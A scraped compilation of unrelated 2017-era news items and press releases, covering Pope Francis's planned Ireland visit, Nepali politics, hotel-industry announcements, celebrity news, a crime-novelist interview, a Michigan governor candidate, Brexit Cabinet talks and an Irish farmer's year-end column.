"He doesn't like protocol. And he would love to have occasions to meet ordinary people - and people in difficulties. Not just to be whizzed around.

"He wants to go around and visit the places where people are struggling.

"He very often does this just on his own. He won't bring all his entourage with him."

The Archbishop said the Pontiff's age would be taken into account when planning his itinerary.

Safety

"Two things. First, when Pope John Paul came he was almost 60. When Pope Francis comes, he will be 81. So you can't expect the same level of activity," he said.

"Second, when Pope John Paul came to the Phoenix Park, health and safety norms - nobody ever thought of them. Now, it is quite complicated."

Asked if an attendance of 350,000 was planned for the Phoenix Park Mass, Dr Martin said he thought it would be more, but would not be drawn on a figure of 500,000.

"We'll see what the demand is," he said.

The event would need a special licence from Dublin City Council.
No takers for Dhalkebar construction contract

The Nepal Electricity Authority (NEA) is having a hard time finding another contractor to finish the Dhalkebar substation after dismissing the original Chinese contractor.
Proposal to provide Rs5,000 to poor cancer, kidney patients

The government has proposed to provide Rs5,000 monthly allowance to persons suffering from cancer, kidney failure and paralysis caused by spinal injuries.
How good are these two guys, Penn State fans? It may surprise you ...
Public confessions

The election results have come as a complete bolt from the blue for the Nepali Congress (NC), Nepals oldest democratic force.
Quake-resilient school handed over in Kavre

The Asian Development Bank (ADB) and the Government of Nepal handed over the newly reconstructed Shree Kali Devi Primary School in Kavre District to the local community on Monday. The April 2015 earthquake had severely damaged the school, destroying five classrooms and other school facilities.
Rawal for meaningful power-sharing talks

CPN-UML Vice-chairman Bhim Rawal has expressed his confidence that negotiations with the CPN (Maoist Centre) will lead to a broader understanding on government formation and party unification.
At Magnuson Worldwide, America's fastest growing hotel brand, we are proud to announce the branding of the M Star Hotel Little Rock, Arkansas.

The M Star Hotel Little Rock is located off I-430, just a short trip to all the area attractions. Market Street, the Little Rock Zoo, and the War Memorial Stadium are all within 5 miles. Outdoor activities at the Big Dam Bridge or the Kanis Park area are less than 10 minutes from the hotel.

Formerly a Studio 6, M Star Little Rock will upgrade its market position to attract travelers via an affiliation with Magnuson Worldwide's international portfolio of over 1,000 hotels and state-of-the-art, global distribution platform.

Hotel website
London UK/Spokane WA  At Magnuson Worldwide, America's fastest growing hotel brand, we are proud to announce the branding of the M Star Hotel Little Rock, Arkansas.

The M Star Hotel Little Rock is located off I-430, just a short trip to all the area attractions. Market Street, the Little Rock Zoo, and the War Memorial Stadium are all within 5 miles. Outdoor activities at the Big Dam Bridge or the Kanis Park area are less than 10 minutes from the hotel.

Formerly a Studio 6, M Star Little Rock will upgrade its market position to attract travelers via an affiliation with Magnuson Worldwide's international portfolio of over 1,000 hotels and state-of-the-art, global distribution platform.

Thomas Magnuson, CEO of Magnuson Worldwide says: "We are delighted to be welcoming the full team at the M Star Little Rock to the Magnuson family."

About Magnuson Worldwide:

Since its launch fourteen years ago, Magnuson Worldwide has become America's fastest growing hotel brand and a top 15 global chain, marketing over 1,000 hotels across six countries and three continents. Magnuson Worldwide's newly formed distribution partnership with Chinese operator Jin Jiang Hotels and Europe's Louvre Hotels is the world's largest hotel alliance, forming a consortium of over 8,000 hotels and 800,000 rooms worldwide, equal to the size of a top 2 global hotel chain.

For more information:

i[email protected]

US 509.747.8713 UK (+44) 020 3051 2724.

Alysha Smith

VP of Operations & Development

8000148132

Magnuson Hotels
Priceline just strengthened its Chinese market position by investing into Meituan-Dianping, one of the fastest growing players in the Chinese digital space, showing its ambition in international expansion and giving it a new edge says the report into the online giant. In October 2017 Meituan-Dianping announced the investment as part of Series C funding into the start-up, which brings together group buying, booking and reviews.

It is a rapidly rising power in Chinese online travel thought to be behind only Ctrip and Qunar. Reportedly, Meituan-Dianping recorded more than 18 million room night bookings in July 2017 alone and claims to have meteoric growth rates that are quickly making it one of the world's top start-ups by reported valuation. In the latest round of investment the company was able to raise USD4 billion, giving it an estimated value of around USD30 billion  a valuation that would put it among the biggest of the emerging tech companies and perhaps even bigger than Airbnb.

Although Priceline has a comparatively small stake in the company, with its investment reportedly valued at USD450 million, it also announced that it was to create a distribution partnership between the company's travel division and Priceline's main Asian arm, Agoda. This is potentially more crucial than the investment itself and likely what Priceline was mainly looking to get at in the funding round.

"Now, Priceline has a fantastic presence in Asia-Pacific through Agoda, its partnership with Ctrip, and now this additional investment," says Alex Hadwick, Head of Research at EyeforTravel. "It is therefore sitting on a well-fortified position within the market space and is also hoping to grow its Booking.com presence in the country with a local team. What's more it has been able to achieve this without having to put in the huge sums other international tech giants have made into market. Famously Uber invested billions before conceding to local competition, so Priceline are able to minimise risk through their network of investments while growing market penetration."

With a predicted Compound Annual Growth Rate (CAGR) of more than 8% between 2017 and 2020 and even a faster growing domestic market, the attraction is obvious for Priceline and getting involved with local players at this stage could be crucial as EyeforTravel's research suggests that more than seven out of ten digital travel bookings in China are made with Online Travel Agencies (OTAs).

To preview and buy EyeforTravel's Expedia report, click here, or here for the Priceline report. These are part of the Future of the Online Giants series, which will cover Expedia, Priceline, TripAdvisor, Ctrip and Google. Keep a look out through EyeforTravel On Demand for the rest of these reports.

About Reuters Events

Reuters Events is a community where the worlds top online travel brands  from hotels to airlines, online travel agents, cruise, car hire firms and more  come to meet to drive forward growth and innovation in the industry.

We know that working in the turbulent online travel industry is as exciting as it is challenging. In this constantly evolving market place, we appreciate that keeping up with the pace of change can be tough, not to mention time consuming. You need the right information, contacts and strategic insight to succeed.

Established in 1997, by Tim Gunstone, we offer a diverse product portfolio including industry analysis, insights, research, webinars, reports and conferences to suit the needs of our clients.

Our clients read as a whos who of online travel. From major hotel brands to new startups, we help our 80,000 strong customer base make better decisions, build better brands, close the most lucrative deals and ultimately sell more of their product. After all, increasing travel brand profit margins in the cutthroat travel industry is the name of the game!

No other online travel intelligence provider has been charting the growth of online travel as long as we have. We were here at the inception of online travel and we know the industry inside out. Whats more, were a small, friendly team. Forget impersonal hierarchies, we like to get to know our customers and work towards their exact needs.

Meredith Pistulka

View source
Ibiza, Spain  Duetto, hospitality's only Revenue Strategy Platform, has partnered with Palladium Hotel Group in Ibiza, Spain, and implemented its GameChanger application to eight Palladium properties on the island, including its Hard Rock Hotel Ibiza and Ushuaia Ibiza Beach Hotel, as well as the Hard Rock Hotel Tenerife in the Canary Islands. Palladium properties are now also using Duetto's BlockBuster application for optimizing contracted and group business.

The Spain-based hotel company has been operating for more than 50 years and now boasts a portfolio that spans Europe, Brazil and the Caribbean. The company manages 50 hotels worldwide under four brands: Palladium Hotels & Resorts, Fiesta Hotels & Resorts, Ushuaia Unexpected Hotels and Ayre Hotels. The Palladium Hotel Group also operates the Hard Rock Hotels brand under license in Spain.

"There is a real synergy between Duetto and Palladium Hotel Group. We both have a young and dynamic team looking to innovate hotel Revenue Strategy," said Patrick Bosworth, Co-Founder and CEO of San Francisco-based Duetto. "Palladium has an exciting portfolio of brands, and we look forward to working with them to yield their inventory effectively and drive group business."

Palladium has introduced Duetto's flagship Open Pricing application, GameChanger, to eight properties in its portfolio, including its Hard Rock hotels collection and its contemporary designer Ushuaia brand. The agreement covers 2,871 hotel rooms, with an additional 1,000 rooms being added in the Caribbean in early 2018.

Ushuaia is a complex resort brand with 20 different room types. Being able to yield on each and every room type was a big draw for Palladium in selecting Duetto as its Revenue Strategy solutions provider, according to Sergio Zertuche, Vice President, Sales and Marketing, Palladium Hotels Group.

"In addition to being able to yield on individual room types, the ability to access and analyse web shopping data and air traffic data will provide us with better insight into future demand patterns," said Zertuche. "With Duetto we saw the opportunity to automate a lot of our processes and current strategies through the use of technology. As we move forward with expansion plans, having Duetto as part of our tech stack gives us a competitive edge when negotiating management contracts and shows that we are a forward-thinking company dedicated to maximising on owner profits."

Many of Palladium's hotels are popular with leisure groups, and Duetto's BlockBuster application will also bring another level to the company's sales and revenue management operations in this area.

"Collaborating closely with Duetto's Product team has allowed us to ensure BlockBuster captures our vision for Revenue Strategy and meets the needs of complex resort properties," added Diego Fernandez, Corporate Director of Revenue.

BlockBuster is a new solution built to foster collaboration between properties' sales and revenue management departments to yield non-transient business more dynamically.

About Palladium Hotel Group

Based on Ibiza in the Balearic Islands, Palladium Hotel Group is a multinational corporation established more than 50 years ago with the aim of promoting the island in Spain and across Europe. Over the years it has cemented a position as one of the best-known Spanish companies worldwide.

Palladium Hotel Group is a prestigious company, which has gone to great lengths to segment its hotels and to launch new brands for each line, pursuing a consistent expansion policy and fulfilling stringent quality standards.

At present the group has establishments in a plethora of destinations around the globe including Ibiza, Menorca, Barcelona, Madrid, Valencia, Oviedo, Tenerife, Cordoba and Seville in Spain, Sicily in Italy and the Mayan and Nayarit Rivieras in Mexico, Punta Cana and Playa Bavaro in Santo Domingo, Jamaica and Brazil.

For more information, visit https://www.palladiumhotelgroup.com/en/.

About Duetto

Duetto delivers a suite of SaaS cloud applications for hospitality businesses to optimize every booking opportunity for the greatest overall revenue impact. The solution dramatically increases organizational efficiency, revenue, and profitability by simplifying hospitality revenue decisions and allowing properties to work smarter. The unique combination of hospitality experience and technology leadership drives Duetto to look for innovative solutions to industry challenges. The software as a service platform allows hotels, casinos and resorts to leverage real-time dynamic data sources and actionable insights into pricing and demand across the enterprise. More than 4,000 hotel and casino resort properties in more than 60 countries have partnered to use Duetto's applications, which include GameChanger for pricing, ScoreBoard for intelligent reporting, and BlockBuster for contracted-business optimization. Duetto is backed by investors Warburg Pincus, Icon Ventures, Accel Partners, Battery Ventures, and Spectrum 28.

In January 2022, Duetto was named the world's #1 revenue management system in the HotelTechAwards out of 52 RMS products reviewed and extensive end-user reviews. The Awards rank and evaluate more than 200 of the top hotel technology products worldwide to deliver the ultimate list of best-in-class software products, based on customer feedback from more than 10,000 customer reviews, integration compatibility, organizational health, partner network strength, and customer support quality.

For more information, please visit https://www.duettocloud.com/.

Eric Stoessel
ORLANDO, FL -- Associated Luxury Hotels International (ALHI) has expanded its worldwide portfolio and Western Europe options with the addition of the Netherlands'acclaimedGrand Hotel Huis Ter Duin in Noordwijk, just outside Amsterdam. Located directly on the beach, in the picturesque province of South Holland, the 5-Star hotel provides stunning views of the North Sea and has won the prestigious "M&IT Award" for "Best Overseas Hotel" in 2014, 2016 and 2017. ALHI, the world's leading independent hotel Global Sales Organization, now represents the renowned 254-room hotel to the European and North American meetings, conventions and incentive market, according to ALHI's Chief Sales Officer Mark Sergot.

ALHI Global Luxury Sales features a distinguished portfolio of more than 250 luxury and upper-upscale hotels and resorts around the world, plus 23 luxury cruise ships appropriate for meetings and incentive programs, and Destination Management Companies (DMCs) in 100-plus locations worldwide. All of ALHI's member hotels and resorts are either independent or are with an independent hotel brand, and specialize in serving the Meetings, Incentives, Conventions/Conferences and Exhibitions/Events (M.I.C.E.) marketplace.

Grand Hotel Huis Ter Duin becomes ALHI's third member hotel in the Netherlands, joining the luxurious and historic Grand Hotel Karel V Utrecht, offering 121 guest rooms and 935 square meters of meeting space in Utrecht/Amsterdam; and the elegant 75-room Duin & Kruidberg Country Estate in Santpoort-Noord in the truly beautiful South Kennemerland National Park.

With this newest member, ALHI's luxury portfolio now features 38 distinctive hotels and resorts in Western Europe; 13 in Eastern Europe; more than 150 in the USA and Canada; 16 in the Bahamas, Bermuda, Caribbean region and Mexico; 13 in the Middle East; 33 in Asia; 9 in Africa; and 4 in South America.

"Grand Hotel Huis Ter Duin is a remarkable hotel offering an impressive beachfront setting, first-class accommodations and wonderful meeting and event space," said Sergot. "We are very proud to now showcase this exceptional hotel to meeting professionals, incentive specialists and business executives throughout Europe and North America."

Sergot added, "The Netherlands continues to be a very popular choice for groups, and the addition of this acclaimed hotel will help us address that demand. Add in Grand Hotel Huis Ter Duin's ideal location just 20 minutes from Amsterdam's Schiphol Airport, and it is a terrific new option for meeting and incentive groups."

The Grand Hotel Huis Ter Duin is a family-owned 5-Star property that offers 254 luxurious guest rooms, which includes 20 attractive suites and 4 stylish penthouses. Featuring its own private beach, the hotel also has 19 meeting rooms, with a total of 2,650 square meters of meeting space, making it possible to accommodate up to 1,500 guests. Plus, the hotel offers the celebrated MC Wellness spa, an indoor pool, free Wi-Fi and a wide selection of dining outlets including Restaurant Latour, Breakers Beach House, and Brasserie La Terrasse. Besides its beautiful beaches, Noordwijk is known for its museums and picturesque tulip fields. The hotel is just 30 minutes from Amsterdam, Leiden, Haarlem, and The Hague.

In addition to its membership is ALHI's worldwide portfolio, Grand Hotel Huis Ter Duin becomes the newest option in two of ALHI's 10 Luxury Brand Collections: "Level 5 Collection," now consisting of 64 member hotels and resorts that have earned the industry's highest recognitions; and "Beach and Island Collection," now offering 53 member options.

For more information about ALHI and/or its member hotels and resorts, or Alliance partners, contact your nearest of the 24 ALHI Global Sales offices in the United States, Canada, London and now Frankfurt. In the U.K., contact Mark Gorgon or Peter Groom at +44 (0) 207-379-6793, email [email protected] or [email protected], and visit alhi.com . In Germany, Austria or Switzerland, contact Becky Dimant in the Frankfurt area at +49 69 660 56331 or +49 160 442 1091 or [email protected] , and visit alhi.com.

About Associated Luxury Hotels International

Associated Luxury Hotels International (ALHI) serves as a global sales organization (GSO) for its exclusive membership of the world's most distinguished independently operated or owned hotels and resorts, cruise ships and DMCs within the meeting, incentive, convention and exhibition (MICE) marketplace. With a dedicated GSO team of nearly 80 professionals located among 26 offices across North America and Europe, ALHI delivers personalized service and connectivity to a select membership of over 250 luxury properties worldwide. As an extension of its members, ALHI provides unparalleled solutions for meeting and event professionals by identifying and presenting a variety of options based on desired attributes that will create a successful program. Dedicated to the company vision for over three decades, ALHI strives to be intentionally different by offering an exclusive portfolio that embodies an independent spirit and a commitment to excellence that consistently earns the most notable accolades in the meeting and events industry. For more information, please visit www.alhi.com.

Karen Lamonica

PR Contact

(407) 788-7070, ext. 208

Associated Luxury Hotels International (ALHI)
Sam Ioannidis Named General Manager for the Four Seasons Astir Palace Hotel Athens

Four Seasons Astir Palace Hotel Athens is set to open in 2018.

Four Seasons veteran Sam Ioannidis has been named General Manager of Four Seasons Astir Palace Hotel Athens, leading a team that will transform the legendary property to the first Four Seasons experience in Greece.

"In addition to his talent as a hotelier and his leadership skills, with more than two decades withFour Seasons, Sam's recent track record of establishing a new hotel and successfully bringing it to life while embracing the local community make him the ideal candidate to introduce Four Seasons in Greece for the first time," says Simon Casson, President, Hotel Operations  Europe, Middle East and Africa for Four Seasons Hotels and Resorts.

"Inspired by the property's glamorous history, Four Seasons is creating a new luxury experience for a new era here," says Ioannidis. "As a proud Greek returning to the birthplace of my people, I join the local community in looking forward to showing the world this beautiful destination and working to embed the warm, welcoming and passionate local culture into Four Seasons Astir Palace Hotel Athens."

Born in Frankfurt to Greek parents, the bilingual Ioannidis grew up in Germany and Greece, eventually heading to Toronto, Canada  the hometown of Four Seasons Hotels and Resorts  to earn his hospitality degree and begin his career. Joining the company in 1998, he rose through the ranks in the food and beverage divisions of both urban and resort hotels in North America before heading to Europe for his first General Manager assignment at Four Seasons Hotel Baku. Shortly after, he opened Four Seasons Hotel Abu Dhabi at Al Maryah Island in 2016.

Four Seasons Astir Palace Hotel Athens is set to open in 2018.
Texas Rangers pitcher Cole Hamels and his wife, Heidi, recently announced plans to donate their $9.2M mansion in Missouri to a charity that caters to children with special needs and chronic illnesses.

According to reports, the 32,000-square-foot home, which features more than 100 acres of land in southwest Missouri, will be donated to the nonprofit organization, Camp Barnabas, and will be used as a space for children in the group as well as their siblings.

Hamels released the following statement regarding the donation.

There are tons of amazing charities in Southwest Missouri. Out of all of these, Barnabas really pulled on our heartstrings, Cole Hamels said in a statement. Seeing the faces, hearing the laughter, reading the stories of the kids they serve; there is truly nothing like it. Barnabas makes dreams come true, and we felt called to help them in a big way.

Krystal Simon, the chief development officer for Camp Barnabas, says the generous donation will change thousands of lives for years to come.

This is so much more than a beautiful property, said Krystal Simon, chief development officer for Camp Barnabas. This incredible gift allows us to further our ministry and truly change thousands of lives for years to come.

An attorney for the couple told the Springfield News-Leader that Hamels and his wife never actually moved into their sprawling mansion in southwest Missouri and instead chose to live in Texas, where Hamels has played since 2015.

Hamels
Back in November, Rick Ross appealed the judges decision to dismiss his lawsuit against duo LMFAO for interpolating Hustlin' in their song Party Rock Anthem. The case was originally filed in 2014 and was dismissed in 2016. Now, reports are claiming that the courts are reviving Rick Ross case against LMFAO following his appeal.

A new report from Hollywood Reporter says the court has revived his lawsuit against the Party Rock group. The 11th Circuit Court of Appeals said Rick Ross and his producers shouldnt be held back from going for the copyright infringement case because of an error in a registration process. They said he Appellants were erroneously hustled out of court, and now deserve to be heard on the merits. The mistakes that arose on the copyright registration arent enough to completely invalidate Ross case.

The court document recognizes the fact that LMFAO never argued that Ross wasnt the author of Hustlin'

Rappers are skilled in poetry and rhythm  not necessarily in proper copyright registration procedures, it says in the court document.

During the initial case, the judge handling it said that the average listener wouldnt be able to pick up the similarities between Ross Hustlin and LMFAO Party Rock Anthem.

Thankfully, Rick Ross is getting another chance at receiving justice for something that was obviously bitten from his famed song.

Aside from his lawsuit, the Boss recently launched his own line of luxury hair and beard brands. On top of that, he also dropped a collaborative MMG x Ewing sneaker. The hustle dont stop for Rozay.

Check the court docs below:
After breaking up with Kylie Jenner earlier in the year, it seems like Tyga refocused his energy back into music. It wasnt like he stopped making music but hes even admitted that being associated with the Kardashian-Jenner clan took a toll on his creativity. However, this year he dropped off two projects with his album BitchImTheShit2 and his mixtape, Bugatti Raww. However, that doesnt seem to be all that he has in the stash.

Tygas upcoming single Temperature is slated to drop this Friday, December 22nd. The rapper took to Instagram to share the album art and the release date of the track. The rappers been teasing the track at his live shows for the past few months so its exciting that itll finally be coming to light. The song has a more dancehall vibe to it, something that hes been dabbling with more and more in recent times.

With the release of this single, maybe its an indication that he has a body of work on the way at the top of 2018. The rapper recently came off of a mini-birthday tour in mid-November where he traveled through Firenze, London, Milan, Dubai, Paris and Miami so its safe to say hes been on a heavy grind with music lately.

In other Tyga related news, the rappers Last Kings store in L.A. was burglarized at the top of December and it was later reported that he lost over $50K in merchandise and clothing at the store.

Check the album art and his Instagram post below:
While Ragnar Jonasson has been in a best-selling author in Nordic countries for almost a decade, his works weren't published in the United States until January of this year, when Minotaur Books released "Snowblind."

The book's success  as well as the general popularity of "Nordic Noir"  has prompted the publisher to release a second Jonasson book, "Nightblind," a continuation of what the author calls his "Dark Iceland" series.

Jonasson spoke with us about the appeal of the Nordic Noir genre, his series' protagonist, and his approach to the writing process.

Q: "Nightblind" has been a hit overseas, but it makes its North American debut this month. Tell us about the book.

A: This novel is part of my Dark Iceland series, but I try to write each novel so that it can stand alone, permitting first-time readers to enjoy them. "Nightblind" features Ari Thor, a young, recently graduated policeman who moves to a town, Siglufjorur, that is isolated and mostly uneventful. Thor establishes himself in this town, and he has a new boss who, in the first chapter of "Nightblind," is shot. Thor has to investigate, and it becomes one of the highest-profile cases in Iceland.

Q: Any time a police officer is shot, it's going to be news, but this is particularly true in Iceland.

A: Yes, no police officer has ever been killed in the line of duty in Iceland. Conversely, in the entire history of Iceland, the police have only fatally shot a suspect one time.

Q: Though the novel addresses a fatal shooting, it also focuses on domestic violence.

A: Iceland doesn't have many murders  maybe two to three per year  so I didn't want that necessarily to be the focus of my novel. But domestic violence happens everywhere, and it is often unreported, and it is the focus of this book.

Q: Does the isolation of Siglufjorur make it a challenge to come up with new ideas, new crimes for the protagonist to grapple with?

A: That is a challenge. Siglufjorur is a town that I love very much, because my family has had a long presence there. My grandfather wrote a series of books on the town's history, so I am sort of following in his tradition. But it's a small town, and you don't want to fall prey to the Jessica Fletcher syndrome, where every person in Cabot Cove (the setting of "Murder She Wrote") was killed during the many seasons of that series. In some ways my books follow in the golden-age tradition of the detective story, kind of like Agatha Christie, whom I was influenced by. But I am also writing a Nordic noir-type book, and those are realistic. To address that, I've moved the action away somewhat from Siglufjorur. In the next three books that are due, the crimes take place in the northern parts of Iceland.

MORE NEW BOOKS: Even Leonardo da Vinci made math mistakes

Q: You mention Nordic noir, and you've also mentioned the low crime rate in Iceland. What explains the international appeal of crime stories in a setting where relatively few crimes actually take place?

A: I think it's the contrast implicit in your question. The Scandinavian countries have an image of peace, and it's true, as with the case of Iceland, because there isn't a lot of crime. The contrast of seeing a violent act disrupt this harmony is interesting. The appeal also comes from the authors working in this field for a much longer time than I have been. There is a decades-long tradition created by some great names, and it is good to stand on their shoulders and be a part of it.

Q: Apart from the appeal of Nordic Noir, your protagonist, Ari Thor, also has a following. What is the challenge of making a character appealing, but also sufficiently complex to be interesting?

A: When I began writing about Thor, I didn't know it would be a series. I made him a few years younger than I, so that I could understand his experiences. His backstory involves losing both parents at a young age, growing up lonely and without a support net. He searches for God in seminary, but he gives up on that. He then turns to philosophy, which is another way of him trying to understand the world. And then he becomes a policeman. As I write more about him, I get to know him better, and I see new sides of him. He has grown. He has become more mature, but his failings also become more obvious.

Q: In "Nightblind," and in the other novels of yours that I have read, I sense that the characters interest you more than the investigative process.

A: I like to explore the characters as flawed individuals. We are all flawed, and we want to understand why people do what they do. For me, the interesting thing about crime fiction is the psychology of the people I am writing about, much more so than the police investigation. I try to keep the books moving, but I try to do that by understanding people's psychology, their motivations, their relations, which are sometimes strained; and these factors together create tension, which I hope will be appealing to the reader.

Mike Yawn is the Director of the Center for Law, Engagement, and Politics at Sam Houston State University.

Bookmark Gray Matters. It grew up lonely and without a support net.
ABC News(WASHINGTON) -- Abdul El-Sayed says America is ready for its first Muslim governor. He's thrown his hat in the ring in his home state of Michigan, banking on his advocacy for progressive policies like a single payer health care and legalizing marijuana to reap the tax benefits.



"Think about what it would mean for our country," El-Sayed said, "if one of the states that helped push Donald Trump over the edge turned around and elected a 33-year-old Muslim-doctor as governor."



A first-generation American, El-Sayed is also a former star athlete, Rhodes Scholar and university professor. He cut his teeth in public service as director of Detroit's public health system, a job he took on at just 30 years old. At the time, El-Sayed was working as a professor at Columbia University and became frustrated studying health disparities and feeling like he could not have an immediate impact.



"I really wanted to be a part of fixing the problem," he said. "I didn't feel a sense of urgency in the room. I think a lot of folks in the academy do great work and it matters, but they're so far removed from the people who suffer the disparities that they study. And I think when you take the time to expose yourself to that, the sense of urgency comes back."



After accepting the job as director of Detroits public health system, El-Sayed and his team instituted social programs that delivered free glasses to every child in the city that needed them, rebuilt the animal control system and created peer-mentorship programs for mothers who are newly pregnant.



We were able to deliver a set of goods and services to people in the city that hadn't been delivered for a very long time, he said.



Realizing that he was still limited in his ability to enact policy change as health director, El-Sayed said he decided to run for Governor. He said he wanted to build the kinds of institutions that empower people to have their best, most dignified lives."



"So much of the work that we needed to do in places like Detroit and in places like Flint and other places like Kalkaska ... require an agenda that puts people's well-being first," El-Sayed said. "I wasn't seeing that either at the city level or at the state level."



But, running for elected office wasnt always a consideration for El-Sayed. He said the first person to ever tell him to consider a career in politics was former President Clinton, who was his college commencement speaker. El-Sayed was valedictorian at his college and said that Clinton approached him after his speech and asked why he was going to medical school and suggested he should consider running for office.



At the time, just six years after 9/11, El-Sayed recalls thinking elected office was not possible for someone like him. It wasnt until 2004, when he saw President Obama speaking at the Democratic National Convention, that he felt a young brown man with a funny name like himself could run for office.



Now, he wants to lead the state that won Donald Trump the presidency by campaigning on unity, hope and creating faith in a new generation of leadership.



It has been a hard 10 years in Michigan, but I hope that we can think about what we want to build together," El-Sayed said, "that we are willing to dignify all of us, as equal under the eyes of the law, and equal under our state's goals and aspirations and then build that way."



Check out the full conversation on this weeks episode of "Uncomfortable."



Download and subscribe to the "Uncomfortable" podcast on Apple Podcasts, Google Play Music, Stitcher, and ABC News podcasts.



El-Sayed was interviewed as part of a series called "Uncomfortable," hosted by Amna Nawaz, that offers in-depth honest conversations with influential leaders about issues dividing America.

Copyright  2017, ABC Radio. All rights reserved.
The final Brexit deal must allow Britain to set its own rules and strike "ambitious" trade deals with countries around the world while having the "best possible" access to EU markets, Theresa May has told her Cabinet.

As the full Cabinet came together to discuss for the first time the UK's preferred "end state" for its future relationship with the EU, the Prime Minister insisted she was confident of achieving a result which will lead to a dynamic post-Brexit economy delivering growth, jobs and prosperity.

Her official spokesman said Mrs May's message was backed by the whole Cabinet at the meeting in 10 Downing Street, though no formal position is expected to be agreed for some time, with further discussions scheduled for the new year.

In the 105-minute meeting, the Cabinet did not discuss the position set out so far by the European Commission's chief negotiator, Michel Barnier, whose vision of a free trade agreement similar to that struck with Canada in 2016 differs sharply from Mrs May's demand for a bespoke UK deal delivering a "deep and special partnership".

In comments to a number of European newspapers, including the Guardian, Mr Barnier said there would be no special arrangement to allow City firms to trade freely in the EU if Britain leaves the single market.

"There is no place (for financial services)," he said. "There is not a single trade agreement that is open to financial services. It doesn't exist."

Describing the position as a result of "the red lines that the British have chosen themselves", he stated: "In leaving the single market, they lose the financial services passport."

Mrs May's spokesman said the PM told Cabinet that she was seeking "a significantly more ambitious deal than the EU's agreement with Canada".

And she ruled out the option of a Norway-style membership of the European Economic Area as "democratically unsustainable" because it would mean the UK having automatically to observe rules and regulations which it had no influence over.

The PM's spokesman said she told ministers that the starting point for discussing the UK's preferred end state was her own speeches at Lancaster House and in Florence earlier this year, in which she ruled out membership of the single market and customs union, but voiced her hope for a new "deep and special partnership" spanning the economic and security relationship with the EU.

She told Cabinet it was clear that the Government was seeking "a deal which secures the best possible trading terms with the EU, enables the UK to set rules which are right for our situation and facilitates ambitious third-country trade deals", said the spokesman.

Britain would need to be "creative" in designing proposals for a future economic partnership, Mrs May said.

And she said the positions adopted by the Government would be in the national interest, adding that she was "confident of building a dynamic post-Brexit economy which will deliver growth, jobs, prosperity and a better future".

The PM's spokesman said Mrs May stressed that the kind of deal she was looking for would be in the interests both of the UK and the remaining EU.

There was agreement on her approach from the ministers attending Cabinet, about 25 of whom spoke during the "very detailed" discussion, he said.

"The Cabinet was unified behind the Lancaster House and Florence speeches and behind the deal which she agreed on Friday," said the spokesman.

His comments followed reports of a growing difference over the level of regulatory alignment with the EU which Britain should maintain after Brexit, with Philip Hammond and Amber Rudd understood to favour closer ties with the bloc than convinced Brexiters like Boris Johnson and Michael Gove, who want freedom to ditch red tape in order to facilitate trade deals elsewhere in the world.

Asked about Mr Barnier's comments, the PM's spokesman said it was to be expected that the Commission would set out its position at the start of the second phase of Brexit negotiations.

In comments likely to infuriate hardline Brexiters, Mr Barnier said the UK must follow all EU rules during the expected two-year transition period following the official date of Brexit in March 2019 - including laws introduced during that time with no British input into decisions.

And he insisted the UK must accept the "complete architecture" of the EU - including the role of the European Court of Justice, free movement of people and the Commons Fisheries Policy - during transition, saying: "It will be essentially the economic status quo."

While Britain can negotiate trade deals with other countries during the transition, he said they cannot enter into force until the period is over, probably in 2021.

He believed that a UK/EU free trade deal could be agreed within the two-year transition, but said it would have to be ratified by more than 35 national and regional parliaments across the EU27, each of which holds a veto.

Mr Barnier made clear that the EU will respond firmly to any deviation from the framework of single market regulations which might give the UK a competitive advantage through lower taxes or weaker standards.

"We will not accept from the other side, regulatory competition against social rights, against environmental rights, against consumer rights and against fiscal regulations... or against financial stability," he said.

And in reference to US pressure on the UK to ditch EU food standards in the hope of securing a free trade deal, he said: "We will not accept chlorinated chickens, nor other products that do not meet our food standards."

Defence Secretary Gavin Williamson, when pressed by the Evening Standard over Mr Barnier's suggestion there cannot be financial services included in a trade deal, said that "Michel Barnier says lots of things".

"He is a negotiator... any deal we do with the European Union is going to be a bespoke deal, I am quite sure that actually we can deliver the services part of the package that is so vital for the City of London," Mr Williamson added.

Pressed on whether it can be part of a trade deal, Mr Williamson said he cannot see why it cannot be.

Labour MP Chuka Umunna, a leading supporter of the Open Britain campaign for close ties with the EU, said: "It is disgraceful and a dereliction of duty that the Cabinet has only today - 18 months after the referendum - had an opening full discussion about what our future relationship with Europe should look like.

"The problem is clear. The Cabinet cannot agree among themselves about what Brexit outcome they want beyond an unrealistic ambition to have cake and eat it.

"Going into the most complex negotiations in modern British history without a clear plan of action is irresponsible and very unlikely to deliver what the Government promised - a deal that gives us the 'exact same benefits' as we enjoy now."

Liberal Democrat Brexit spokesman Tom Brake said: "Today's rare display of Cabinet unity won't fool anyone.

"We all know David Davis is incapable of negotiating a deal that will satisfy his own backbenchers while protecting people's jobs and living standards.

"It is families across the country, not Conservative ministers, who will pay the price for this botched Brexit."
Another year has gone by and the prevarication and debate surrounding Brexit goes on and on. It reminds me of a Smokie song which was very popular some years back about a girl called Alice, because whether we like it or not we now find ourselves living right next door to Brexit.

I believe with the total confusion currently surrounding the issue the question could now be justifiably asked (more politely than in the song) what exactly is Brexit?

No matter how much the negotiation teams on all sides indulge themselves in what is often referred to as "constructive ambiguity", the simple fact is that three into two won't go - it never has and it never will! Is it any wonder then, that I have yet to meet someone who can predict with any degree of certainty what exactly life post-Brexit will be like for Irish farmers?

There is of course one certainty and that is that straight from the word go Irish farmers have being paying dearly for the utter confusion which surrounds the issue.

We would all do well to remember that historically the UK has always had a huge influence on farming in Ireland and it looks as though this is not going to change, at least not in the foreseeable future.

In the meantime life on my farm goes on and with Christmas fast approaching it is a good time to have a quick look back at 2017.

For me the year started with some concern as to whether I had sufficient silage to see me through until spring.

Thankfully my fears were unfounded. In relation to casualties, luck was also on my side and for the first time in a number of years I had no losses in the shed.

Spring growth started slowly for me in 2017 however my cattle settled down quickly on whatever grass there was and similar to most cattle farmers I speak to, they did very well.

In spite of the dire predictions of a collapse in the trade in the back-end I waited until I felt that they were fully "finished" to start selling.

This meant that I missed out on some of the very good summer prices, with my first load making a grid price of just 3.90/kg, but with the benefit of hindsight 3.90/kg wasn't that bad a price this autumn.

I suppose the real story this summer was the amazing thrive achieved by cattle.

My beef cattle "finished" quicker than they would normally have, this allowed me to sell cattle a little earlier than usual with the added bonus of improved weight gains.

Getting two exceptional thriving years in a row is really amazing and I find it very difficult to explain why this is happening. Is climate change a factor?

I find it difficult to find any detailed research on the effect climate change will have on farming in temperate climates such as ours.

Wouldn't it be tragically ironic if climate change which is destroying huge areas of farmland in the developing world is actually increasing output in areas with temperate climates such as ours.

